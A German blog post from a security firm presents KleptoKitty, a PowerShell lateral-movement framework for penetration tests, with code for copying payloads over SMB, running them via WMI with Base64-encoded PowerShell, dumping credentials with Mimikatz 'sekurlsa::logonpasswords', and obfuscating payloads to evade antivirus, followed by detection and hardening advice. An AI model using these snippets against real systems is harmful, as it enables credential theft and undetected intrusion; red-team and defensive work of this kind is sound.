KleptoKitty - Payloads verteilen und Zugangsdaten sammeln

KleptoKitty

Payloads verteilen und Zugangsdaten sammeln

Michael Schneider
von Michael Schneider
am 17. September 2020
Lesezeit: 8 Minuten

Keypoints

Das kann unser KleptoKitty

  • KleptoKitty ist ein Lateral Movement Framework
  • Ziel ist das automatisierte Auslesen von Zugangsdaten
  • KleptoKitty steuert das Ausliefern und Ausführen einer Payload, sammelt Zugangsdaten
  • Es werden verschiedene Payloads unterstützt, unter anderem Mimikatz
  • Lateral-Movement-Angriffe können durch Hardeningmassnahmen wie Client Separation, PowerShell Logging, AMSI, ASR und Auswertung von Logs erkannt und verhindert werden

Nachdem Angreifer ein System übernommen haben und über privilegierte Zugangsdaten verfügen, beginnt die Analyse des Systems. Es wird untersucht welche Fernzugriffsdienste genutzt und welche Sicherheitskontrollen eingesetzt werden. Anhand dieser Informationen wird eine passende Payload entwickelt und interessante Ziele im Netzwerk ausgesucht. Dank der guten Vorbereitung dauert danach ein Angriff auf weitere Zielsysteme nur wenige Minuten und kann automatisiert durchgeführt werden. Für unsere Dienstleistungen wie Penetration Tests oder Adversary Simulationen setzen wir unter anderem auf das Lateral Movement Framework KleptoKitty.

KleptoKitty, die Zwillingsschwester von HardeningKitty, ist ein auf PowerShell basierendes Framework für Lateral-Movement-Angriffe (MITRE ATT&CK TA0008) in einer Windows-Infrastruktur. Die Entwicklung begann im Oktober 2019 nach Inspiration des Cypherpunks und Hackers Tinker und die erste Version war ein einfaches PowerShell-Skript. Die Funktionalität des Skripts wurde nach und nach ausgebaut. Mit KleptoKitty werden Payloads auf das Zielsystem kopiert, dort ausgeführt, danach Zugangsdaten extrahiert und die Payload wieder entfernt. Ein zusätzliches Ziel bei der Entwicklung des Frameworks war es neue Angriffstechniken einfach adaptieren und als zusätzliche Payload einbinden zu können.

Als Payloads werden unter anderem Invoke-Mimikatz aus Empire von BC Security, Mimikatz von Benjamin Delpy und PPLKiller von Red Cursor eingesetzt. Da wir von hervorragenden Arbeiten aus der IT-Security-Community profitieren, stellen wir KleptoKitty auf unserem GitHub Repository unter MIT-Lizenz frei zur Verfügung.

Für die Übertragung von Dateien sowie Remote-Ausführung von Befehlen werden Windows-Standardkomponenten verwendet. Die meisten Funktionen werden mittels PowerShell (MITRE ATT&CK T1059-001) gesteuert. Dabei werden Dateien standardmässig über SMB-/Admin-Freigaben (MITRE ATT&CK T1021-002) auf das Zielsystem kopiert. Für die Remote-Ausführung von Befehlen kann Windows Management Instrumentation (WMI) (MITRE ATT&CK T1047), PsExec (MITRE ATT&CK T1569-002) oder Windows Remote Management (WinRM) (MITRE ATT&CK T1021-006) genutzt werden. Das Ziel ist es an lokale Zugangsdaten (SAM) (MITRE ATT&CK T1003-002) und Zugangsdaten von aktiven Accounts im Windows LSA Speicher (MITRE ATT&CK T1003-001) zu gelangen.

“Hello World” mit KleptoKitty

Die Payload Demo eignet sich gut um die Funktionsweise von KleptoKitty zu erklären. Die Payload wird auf das Zielsystem kopiert und dort ausgeführt. Die Payload erstellt dabei eine Datei unter C:\Windows\kleptokitty.log und hinterlässt einen Protokolleintrag:

$ProtocolPath = "C:\Windows\kleptokitty.log"
$Time = Get-Date -Format G
$Message = "$Time - KleptoKitty was here."
Add-Content -Path $ProtocolPath -Value $Message

Für die Payload Demo muss nur ein Kopiervorgang durchgeführt und ein Befehl ausgeführt werden. Es ist nicht nötig eine Logdatei vom Zielsystem zu extrahieren. Der Name der Payload wird für jedes Zielsystem zur Laufzeit zufällig festgelegt und soll einen harmlosen Eindruck vermitteln, indem Namen von Windows-Systemdateien verwendet werden. Im ersten Schritt wird die Payload kopiert, falls dies misslingt wird die weitere Ausführung abgebrochen. Danach wird die Payload gestartet und anschliessend auf dem System gelöscht:

# Copy Payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }

# Execute Payload
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath"
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
    Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
}

# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath      

Die Remote-Befehl-Ausführung geschieht über WMI. Dabei wird ein neuer Prozess kreiert und powershell.exe gestartet. Wahlweise kann der Aufruf der Payload mit Base64-kodiert und somit verschleiert werden. Falls PowerShell Script Block Logging aktiviert ist, wird der Aufruf des Skripts jedoch dekodiert im Event Log gespeichert. Zudem kann die Verwendung der Base64-Kodierung ein Indikator für eine bösartige Aktion darstellen. Die Verwendung dieser Verschleierungsmassnahme ist optional und kann beim Aufruf der Funktion gesteuert werden.

Code $PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"

try {
    $WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
} catch {
    $ErrorReason = $_.Exception.Message
    Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
    Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
    $ReturnCode = $false 
}

Nachdem die Payload auf dem Zielsystem gestartet wurde, kann die Ausführung dieser nur indirekt überwacht werden. Wenn eine Logdatei geschrieben und zurückkopiert werden sollte, lohnt es sich eine Weile zu warten, bevor weitere Schritte, wie das Kopieren dieser Logdatei, durchgeführt werden.

Aufbau einer Payload

Das folgende Beispiel basiert auf einer Payload mit Invoke-Mimikatz. Dabei wird die Funktion Invoke-Mimikatz selbst in die Payload kopiert. Im Anschluss folgt die Definition einer Logdatei für Mimikatz. Der Name der Logdatei muss KleptoKitty bekannt sein, sonst kann die Logdatei nicht extrahiert werden. Danach werden die auszuführenden Mimikatz-Anweisungen definiert. Im folgenden Beispiel werden die Zugangsdaten von aktiven Benutzern auf dem System ausgelesen:

Function FormerlyKnownAsMimikatz {
    # <add the script here>
}

# Log
$TargetBasePath = "Windows"
$TargetLogName = "de-ch.log"
$TargetLogLocalPath = "C:\$TargetBasePath\$TargetLogName"

# Run Payload
FormerlyKnownAsMimikatz -Command """log $TargetLogLocalPath"" privilege::debug sekurlsa::logonpasswords"

Die Payload kann mit Base64 kodiert oder mittels Rijndael verschlüsselt werden. Für die Verschlüsselung wird ein Skript auf der Basis von einer Beispielimplementation von Kae Travis eingesetzt. Durch die Kodierung oder Verschlüsselung wird die Payload verschleiert und kann so allenfalls die Erkennung durch einen Virenscanner entgehen. Die Dekodierung/Entschlüsselung erfolgt zur Laufzeit. Virenscanner mit Unterstützung für Microsoft AMSI können daher die ungeschützte Version der Payload untersuchen.

Detektierung und Mitigation

Um Lateral-Movement-Angriffe zu erkennen und zu verhindern, können verschiedene Kontrollen eingesetzt werden. Ein sehr effizientes Mittels ist das Verhindern von Client-zu-Client-Kommunikation durch den Einsatz der Windows-Firewall oder einer anderen Host-Firewall. Dabei sollten vor allem Dienste wie WMI, SMB sowie WinRM gar nicht oder nur für spezifisch definierte Systeme erreichbar sein. Chad Duffey hatte dazu einen Blog-Artikel zur Einschränkung von SMB-Lateral-Movement-Angriffen geschrieben.

Im Labs Artikel PowerShell Monitoring haben wir Massnahmen zur Überwachung von Aktivitäten mit PowerShell vorgestellt. Durch die Aktivierung von PowerShell Script Block Logging können Base64-kodierte Payloads aufgeschlüsselt werden. Der Artikel enthält ebenso eine Liste mit Schlüsselwörter, nach welchen die PowerShell-Logs untersucht werden können. Zudem ist der Einsatz einer Antiviren-Lösung mit Unterstützung des Microsoft Antimalware Scan Interfaces (AMSI) empfehlenswert, da damit sogenannte file less attacks auch mit einem Virenscanner untersucht werden können.

Mit der Implementation des Regelwerks Attack Surface Reduction (ASR) können Prozesse, die mit PsExec oder WMI gestartet werden, blockiert oder zumindest aufgezeichnet werden. Der Artikel Monitoring Mimikatz zeigt auf wie Mimikatz mit der Auswertung von Event Logs und dem Einsatz von Sysmon detektiert werden kann. Zudem sollten Hardenigmassnahmen für die Windows Local Security Authority (LSA) implementiert werden.

Ausblick

Die Entwicklung von KleptoKitty wird weiter geführt, noch sind nicht alle gewünschten Features implementiert. Es ist unter anderem geplant die Verteilung von Payloads über HTTP oder SMB-Shares anzubieten. Zudem versuchen wir auch neue Entwicklungen und Angriffstechniken möglichst zeitnah zu implementieren. Wir freuen uns über Feedback, Verbesserungsvorschläge, “Lagerfeuer-Geschichten” wie KleptoKitty erfolgreich eingesetzt wurde und auch Pull-Requests sind willkommen.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschrieber Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
HardeningKitty

HardeningKitty

Michael Schneider

Linux Hardening

Linux Hardening

Michael Schneider

Attack Surface Reduction Regeln

Attack Surface Reduction Regeln

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv